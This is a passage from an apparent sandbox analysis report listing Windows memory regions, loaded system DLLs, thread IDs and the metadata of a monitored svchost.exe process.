"c:\\windows\\system32\\bcrypt.dll") Region: id = 3096 start_va = 0x7ffa12c50000 end_va = 0x7ffa12ce8fff monitored = 0 entry_point = 0x7ffa12c7f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 3097 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3098 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3099 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3100 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3101 start_va = 0x7ffa12e20000 end_va = 0x7ffa12e74fff monitored = 0 entry_point = 0x7ffa12e37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3102 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 3103 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3104 start_va = 0x7ffa13110000 end_va = 0x7ffa13126fff monitored = 0 entry_point = 0x7ffa13111390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 3105 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3106 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3107 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3108 start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 3109 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 3110 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3111 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3112 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3113 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3114 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3115 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3116 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3117 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3118 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3119 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3120 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3121 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3122 start_va = 0x7ffa14c00000 end_va = 0x7ffa15028fff monitored = 0 entry_point = 0x7ffa14c28740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3123 start_va = 0x7ffa15030000 end_va = 0x7ffa1508bfff monitored = 0 entry_point = 0x7ffa1504b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3124 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3125 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3126 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3127 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3167 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 3589 start_va = 0x7df5ffb10000 end_va = 0x7df5ffeb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 3655 start_va = 0x8d00000 end_va = 0x8dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d00000" filename = "" Region: id = 3661 start_va = 0x8e00000 end_va = 0x8efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008e00000" filename = "" Region: id = 3711 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 3712 start_va = 0xd40000 end_va = 0xd41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 7092 start_va = 0x8f00000 end_va = 0x8ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008f00000" filename = "" Region: id = 7106 start_va = 0x9000000 end_va = 0x90fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009000000" filename = "" Region: id = 7220 start_va = 0x9100000 end_va = 0x91fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009100000" filename = "" Region: id = 12335 start_va = 0x420000 end_va = 0x423fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 14286 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 19975 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Thread: id = 51 os_tid = 0xca8 Thread: id = 52 os_tid = 0xca0 Thread: id = 53 os_tid = 0x1090 Thread: id = 54 os_tid = 0x1044 Thread: id = 55 os_tid = 0xdf8 Thread: id = 56 os_tid = 0xacc Thread: id = 57 os_tid = 0xbe0 Thread: id = 58 os_tid = 0x4d0 Thread: id = 59 os_tid = 0xbd0 Thread: id = 60 os_tid = 0xb9c Thread: id = 61 os_tid = 0xa08 Thread: id = 62 os_tid = 0xa88 Thread: id = 63 os_tid = 0x684 Thread: id = 64 os_tid = 0x45c Thread: id = 65 os_tid = 0x870 Thread: id = 66 os_tid = 0x308 Thread: id = 67 os_tid = 0x488 Thread: id = 68 os_tid = 0x8c8 Thread: id = 69 os_tid = 0x8d4 Thread: id = 70 os_tid = 0xb80 Thread: id = 71 os_tid = 0xa34 Thread: id = 72 os_tid = 0x914 Thread: id = 73 os_tid = 0x654 Thread: id = 74 os_tid = 0x5a0 Thread: id = 75 os_tid = 0x594 Thread: id = 76 os_tid = 0x554 Thread: id = 77 os_tid = 0x3fc Thread: id = 78 os_tid = 0x380 Thread: id = 79 os_tid = 0xbf4 Thread: id = 80 os_tid = 0x824 Thread: id = 81 os_tid = 0x338 Thread: id = 82 os_tid = 0x7a0 Thread: id = 83 os_tid = 0x81c Thread: id = 84 os_tid = 0x830 Thread: id = 85 os_tid = 0x7ac Thread: id = 86 os_tid = 0xa10 Thread: id = 87 os_tid = 0x470 Thread: id = 88 os_tid = 0xbac Thread: id = 89 os_tid = 0xa58 Thread: id = 90 os_tid = 0xb84 Thread: id = 91 os_tid = 0x5ec Thread: id = 92 os_tid = 0x780 Thread: id = 93 os_tid = 0x728 Thread: id = 94 os_tid = 0x5e0 Thread: id = 95 os_tid = 0x508 Thread: id = 96 os_tid = 0x428 Thread: id = 97 os_tid = 0x7e4 Thread: id = 98 os_tid = 0x7dc Thread: id = 99 os_tid = 0x7d8 Thread: id = 100 os_tid = 0x7cc Thread: id = 101 os_tid = 0x7b0 Thread: id = 102 os_tid = 0x788 Thread: id = 103 os_tid = 0x744 Thread: id = 104 os_tid = 0x448 Thread: id = 105 os_tid = 0x6f8 Thread: id = 106 os_tid = 0x6d4 Thread: id = 107 os_tid = 0x648 Thread: id = 108 os_tid = 0x640 Thread: id = 109 os_tid = 0x62c Thread: id = 110 os_tid = 0x534 Thread: id = 111 os_tid = 0x530 Thread: id = 112 os_tid = 0x4a8 Thread: id = 113 os_tid = 0x2ac Thread: id = 114 os_tid = 0x270 Thread: id = 115 os_tid = 0x154 Thread: id = 116 os_tid = 0x1b8 Thread: id = 117 os_tid = 0x1bc Thread: id = 118 os_tid = 0x180 Thread: id = 119 os_tid = 0x188 Thread: id = 120 os_tid = 0x148 Thread: id = 121 os_tid = 0x12c Thread: id = 122 os_tid = 0xfc Thread: id = 123 os_tid = 0x60 Thread: id = 124 os_tid = 0x3f0 Thread: id = 125 os_tid = 0x3e8 Thread: id = 126 os_tid = 0x364 Thread: id = 153 os_tid = 0xcc4 Thread: id = 154 os_tid = 0xccc Thread: id = 171 os_tid = 0x660 Thread: id = 172 os_tid = 0x11b0 Thread: id = 173 os_tid = 0xb04 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x510bc000" os_pid = "0x390" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c87e" [0xc000000f], "LOCAL" [0x7] Region: id = 3450 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3451 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3452 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3453 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3454 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3455 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3456 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3457 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3458 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3459 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3460 start_va = 0x1e0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3461 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3462 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3463 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 3464 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3465 start_va = 0x550000 end_va = 0x556fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 3466 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 3467 start_va = 0x570000 end_va = 0x576fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 3468 start_va = 0x580000 end_va = 0x5e3fff monitored = 0 entry_point = 0x595ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3469 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 3470 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3471 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3472 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 3473 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 3474 start_va = 0xc20000 end_va = 0xc26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 3475 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 3476 start_va = 0xcb0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 3477 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 3478 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 3479 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 3480 start_va = 0xe00000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3481 start_va = 0xe80000 end_va = 0xe80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 3482 start_va = 0xe90000 end_va = 0xe90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 3483 start_va = 0xf00000 end_va = 0xf00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 3484 start_va = 0xf10000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 3485 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 3486 start_va = 0x1120000 end_va = 0x1126fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 3487 start_va = 0x1130000 end_va = 0x11affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 3488 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 3489 start_va = 0x1380000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 3490 start_va = 0x1400000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 3491 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 3492 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 3493 start_va = 0x1590000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 3494 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 3495 start_va = 0x1800000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 3496 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 3497 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 3498 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 3499 start_va = 0x1d00000 end_va = 0x2036fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3500 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 3501 start_va = 0x2140000 end_va = 0x221ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3502 start_va = 0x2220000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 3503 start_va = 0x2320000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 3504 start_va = 0x2620000 end_va = 0x269ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 3505 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 3506 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 3507 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 3508 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 3509 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 3510 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 3511 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 3512 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 3513 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 3514 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 3515 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 3516 start_va = 0x3200000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 3517 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 3518 start_va = 0x3400000 end_va = 0x34fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 3519 start_va = 0x3500000 end_va = 0x35fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 3520 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 3521 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3522 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 3523 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 3524 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 3525 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3526 start_va = 0x7ffa00990000 end_va = 0x7ffa00a17fff monitored = 0 entry_point = 0x7ffa009a4510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 3527 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3528 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3529 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3530 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3531 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3532 start_va = 0x7ffa0b7b0000 end_va = 0x7ffa0b7f7fff monitored = 0 entry_point = 0x7ffa0b7ba1e0 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 3533 start_va = 0x7ffa0b8c0000 end_va = 0x7ffa0b91cfff monitored = 0 entry_point = 0x7ffa0b8d2bf0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 3534 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3535 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: 